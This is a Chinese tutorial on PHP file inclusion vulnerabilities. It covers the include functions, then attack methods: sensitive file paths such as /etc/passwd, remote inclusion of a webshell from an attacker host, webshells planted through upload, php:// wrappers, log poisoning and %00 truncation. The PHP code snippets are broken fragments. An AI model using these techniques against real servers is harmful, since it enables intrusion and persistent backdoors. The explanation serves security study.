
本文共 2838 字,大约阅读时间需要 9 分钟。
包含漏洞原理解析
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。这种灵活性使得开发者能够动态调用文件,但也带来了潜在的安全隐患——客户端可以调用恶意文件,导致文件包含漏洞。
文件包含漏洞在PHP Web Application中较为常见,而在JSP、ASP、ASP.NET等语言中却非常少甚至没有,这与语言设计的特点密切相关,而非开发人员的技术水平。
PHP文件包含特点
PHP语言提供了四个文件包含函数:include()
、include_once()
、require()
和require_once()
。这些函数的主要区别在于文件查找方式和错误处理机制:
require
:无法找到文件时会抛出致命错误,脚本执行中止。include
:无法找到文件时只生成警告,脚本继续执行。include_once
:与include()
类似,但如果文件已被包含则不会重复包含。require_once
:与require()
类似,但如果文件已被包含则不会重复包含。
文件包含分为本地包含和远程包含两种形式。以下是具体示例:
本地包含示例
ArrayUtil.php(数组操作函数库)文件内容如下:
", $lin = " ") { echo "$key $sp $value $lin";}?>
Index.php文件包含ArrayUtil.php
并使用PrintArr
函数:
");?>
执行后输出结果为:
0 ==>> 张三1 ==>> 李四2 ==>> 王五
phpinfo.txt是一个正常文本文件,内容为:
在Index.php中包含phpinfo.txt
:
访问Index.php会执行phpinfo()
函数。将phpinfo.txt
的扩展名改为.jpg
、.rar
、.xxx
、.doc
等测试,仍能显示PHP信息。这表明只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。但如果包含非PHP语法规范源文件,会暴露源码。
远程包含示例
PHP支持对远程文件的包含,但默认需在php.ini
中启用allow_url_include
选项。远程包含示例:
-
远程PHP文件:
http://xxx.com/根目录下存在php.txt
,内容为: -
远程包含示例:
http://www.xxx.com/Index.php?page=https://xxx.com/php.txt
,访问时会包含远程PHP文件。
PHP文件包含利用
文件包含漏洞可以用于多种攻击方式,以下是常见场景:
1. 读取敏感文件
目标主机文件存在且有权限,访问URL如http://xxx.com/index.php?page=/etc/passwd
可读取敏感文件内容。常见敏感文件路径包括:
- Windows系统:
C:\boot.ini
C:\windows\system32\inetsrv\MetaBase.xml
C:\windows\repair\sam
C:\Program File\mysql\my.ini
C:\Program File\mysql\data\mysql\suer.MYD
C:\windows\php.ini
C:\winodws\my.ini
- UNIX/Linux系统:
/etc/pass
/userlocal/app/apache2/conf/httpd.conf
/userlocal/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/http/conf/httpd.conf
/etc/my.cnf
2. 远程包含Shell
如果目标主机支持allow_url_fopen
,可以尝试远程包含一句话木马。例如,在自己网站下挂echo.txt
,内容为:
");?>
访问目标网站URL如http://xxx.index?page=http://my.com/echo.txt
,会在目标网站目录下生成shell.php
。
3. 本地包含配合文件上传
许多网站提供文件上传功能,攻击者可上传一句话木马至服务器路径如/upload/1.jpg
,内容为:
");?>
访问该目录可生成shell.php
。
4. 使用PHP封装协议
PHP支持多种URL风格封装协议,包括:
file://
:访问本地文件系统http://
:访问HTTP(s)网址ftp://
:访问FTP(s)URLsphp://
:访问输入/输出流(I/O streams)zlib://
:访问压缩流data://
:访问数据ssh2://
:访问Secure shell 2expect://
:处理交互式流glob://
:查找匹配的文件路径
示例:
- 使用
php://filter/read=convert.base64/resource=config.php
访问URL可读取Base64加密字符串。 - 使用
php://input
执行PHP语句,但需注意allow_url_include
选项。
5. 包含Apache日志文件
Apache默认生成access.log
和error.log
,记录客户端请求信息。当访问不存在资源如http://XXX.com/?<?php\phpinfo();?>
时,Apache会记录请求信息到日志文件。攻击者可通过包含日志文件获取敏感信息。
6. 截断包含
固定扩展名可以修复包含漏洞。例如,传输News.php
时将page
参数设为New
,但攻击者可通过 %00
截断将参数设为1.jpg%00
,绕过扩展名检查。
7. 绕过WAF防火墙
文件包含有时用于制作后门。攻击者可创建一句话木马图片,如1.jpg
,内容为:
");?>
访问该图片路径可生成shell.php
,成为潜在后门。
JSP文件包含特点
JSP文件包含主要分为静态包含和动态包含:
- 静态包含:
<%@ include file="..." %>
指令只能包含已存在服务器上的文件,无文件包含漏洞。 - 动态包含:
<jsp:include> </jsp:include>
可包含动态文件,但默认不支持文件包含漏洞。
因此,JSP文件包含漏洞较少甚至没有,与语言设计特点有关,而非开发人员技术水平。
文件包含防护
php.ini
中设置allow_url_include=Off
,默认禁用远程包含。发表评论
最新留言
关于作者
